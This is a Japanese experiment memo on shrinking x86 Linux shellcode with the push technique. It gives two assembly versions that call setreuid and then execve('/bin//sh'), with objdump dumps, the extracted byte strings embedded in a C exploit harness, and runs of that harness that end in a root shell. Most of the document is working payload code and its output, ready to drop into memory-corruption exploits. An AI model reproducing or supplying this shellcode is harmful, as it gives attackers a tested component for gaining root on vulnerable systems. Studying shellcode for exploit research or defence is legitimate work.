これはシェルコードをより小さくする実験メモである。このtiny shellcodeはjmp/callテクニックの代りにプッシュテクニックを利用することで、より小さなコードを作成する。このテクニックは小さなシェルコードを生成するのに役立つ。Linuxシステムではプッシュテクニックを用いたシェルコードは、jmp/callテクニックを用いたシェルコードよりも小さくなるが、BSDシステムではプッシュテクニックを用いたシェルコードの方が複雑で大きくなる。
.global main
main:
#setreuid
xorl %eax, %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
mov $70, %al
int $0x80
#execve
pushl %ebx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %ecx
pushl %ebx
movl %esp, %ecx
xorl %edx, %edx
mov $11, %al
int $0x80
gccを用いてtinyshell.sをコンパイルするために、次のようにタイプする。
defolos@glazheim:~/Desktop$ gcc -o tinyshell tinyshell.s
これでtinyshell.sから実行可能なファイルが作成されたので、このプログラムを16進数の機械語として出力する。これには16進数エディタである「objdump」を次のように利用する。
defolos@glazheim:~/Desktop$ objdump -d tinyshell|grep \<main\> -A 30 08048354 <main>: 8048354: 31 c0 xor %eax,%eax 8048356: 31 db xor %ebx,%ebx 8048358: 31 c9 xor %ecx,%ecx 804835a: b0 46 mov $0x46,%al 804835c: cd 80 int $0x80 804835e: 53 push %ebx 804835f: 68 2f 2f 73 68 push $0x68732f2f 8048364: 68 2f 62 69 6e push $0x6e69622f 8048369: 89 e3 mov %esp,%ebx 804836b: 51 push %ecx 804836c: 53 push %ebx 804836d: 89 e1 mov %esp,%ecx 804836f: 31 d2 xor %edx,%edx 8048371: b0 0b mov $0xb,%al 8048373: cd 80 int $0x80 8048375: 90 nop 8048376: 90 nop 8048377: 90 nop 8048378: 90 nop 8048379: 90 nop 804837a: 90 nop 804837b: 90 nop 804837c: 90 nop 804837d: 90 nop 804837e: 90 nop 804837f: 90 nop 08048380 <__libc_csu_init>: 8048380: 55 push %ebp 8048381: 89 e5 mov %esp,%ebp
次に、この出力結果からバイトコードを抜き出す。
31 c0 xor %eax,%eax 31 db xor %ebx,%ebx 31 c9 xor %ecx,%ecx b0 46 mov $0x46,%al cd 80 int $0x80 53 push %ebx 68 2f 2f 73 68 push $0x68732f2f 68 2f 62 69 6e push $0x6e69622f 89 e3 mov %esp,%ebx 51 push %ecx 53 push %ebx 89 e1 mov %esp,%ecx 31 d2 xor %edx,%edx b0 0b mov $0xb,%al cd 80 int $0x80
抜き出した16進数の機械語を次のようにC言語のexploit([SC] exploit.c)に埋め込む。
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46"
"\xcd\x80\x53\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x51"
"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80"
;
最後に、次のようにexploit.exeをコンパイルし、実行する。正常に動作することが確認できた。
defolos@glazheim:~/Desktop$ gcc -o exploit.exe exploit.c defolos@glazheim:~/Desktop$ ./exploit.exe sp = 0xbffff908 ret = 0xbffff908 -------exploit--------------- sh-2.05b# whoami root
結果として小型のシェルコードは動作したが、コードが美しくはない。より小さくすることも可能と考えられる。
2点の変更点が存在する。ひとつ目は"xorl %eax, %eax mov $70, %al"の部分であり、もうひとつ目は"xorl %edx, %edx"の部分である。この2点を改良し、さらに小型化したシェルコードをtinyshell-2.sとして次に示す。
.globl main
main:
#setreuid
pushl $70
popl %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
int $0x80
#execve
pushl %ebx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %ecx
pushl %ebx
movl %esp, %ecx
cdq
mov $11, %al
int $0x80
tinyshell-2.sをgccでコンパイルし、16進数のマシン語として出力する。16進数エディタであるobjdumpを次のように利用する。
defolos@glazheim:~/Desktop$ gcc -o tinyshell tinyshell.s defolos@glazheim:~/Desktop$ objdump -d tinyshell|grep \<main\> -A 30 08048354 <main>: 8048354: 6a 46 push $0x46 8048356: 58 pop %eax 8048357: 31 db xor %ebx,%ebx 8048359: 31 c9 xor %ecx,%ecx 804835b: cd 80 int $0x80 804835d: 53 push %ebx 804835e: 68 2f 2f 73 68 push $0x68732f2f 8048363: 68 2f 62 69 6e push $0x6e69622f 8048368: 89 e3 mov %esp,%ebx 804836a: 51 push %ecx 804836b: 53 push %ebx 804836c: 89 e1 mov %esp,%ecx 804836e: 99 cltd 804836f: b0 0b mov $0xb,%al 8048371: cd 80 int $0x80 8048373: 90 nop 8048374: 90 nop 8048375: 90 nop 8048376: 90 nop 8048377: 90 nop 8048378: 90 nop 8048379: 90 nop 804837a: 90 nop 804837b: 90 nop 804837c: 90 nop 804837d: 90 nop 804837e: 90 nop 804837f: 90 nop 08048380 <__libc_csu_init>:
次に、この出力結果からバイトコードへ変換する。
6a 46 push $0x46 58 pop %eax 31 db xor %ebx,%ebx 31 c9 xor %ecx,%ecx cd 80 int $0x80 53 push %ebx 68 2f 2f 73 68 push $0x68732f2f 68 2f 62 69 6e push $0x6e69622f 89 e3 mov %esp,%ebx 51 push %ecx 53 push %ebx 89 e1 mov %esp,%ecx 99 cltd b0 0b mov $0xb,%al cd 80 int $0x80
この16進数の機械語を次のようにC言語のexploit([SC] exploit.c)に埋め込む。
char shellcode[]=
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd"
"\x80\x53\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x51\x53"
"\x89\xe1\x99\xb0\x0b\xcd\x80"
;
最後に、このexploitをコンパイルして実行する。ペイロードが正常に動作することが確認できた。
defolos@glazheim:~/Desktop$ gcc -o exploit.exe exploit.c defolos@glazheim:~/Desktop$ ./exploit.exe sp = 0xbffff908 ret = 0xbffff908 -------exploit--------------- sh-2.05b# whoami root
tinyshell-2.sはtinyshell.sに比べて2バイトの短縮に成功している。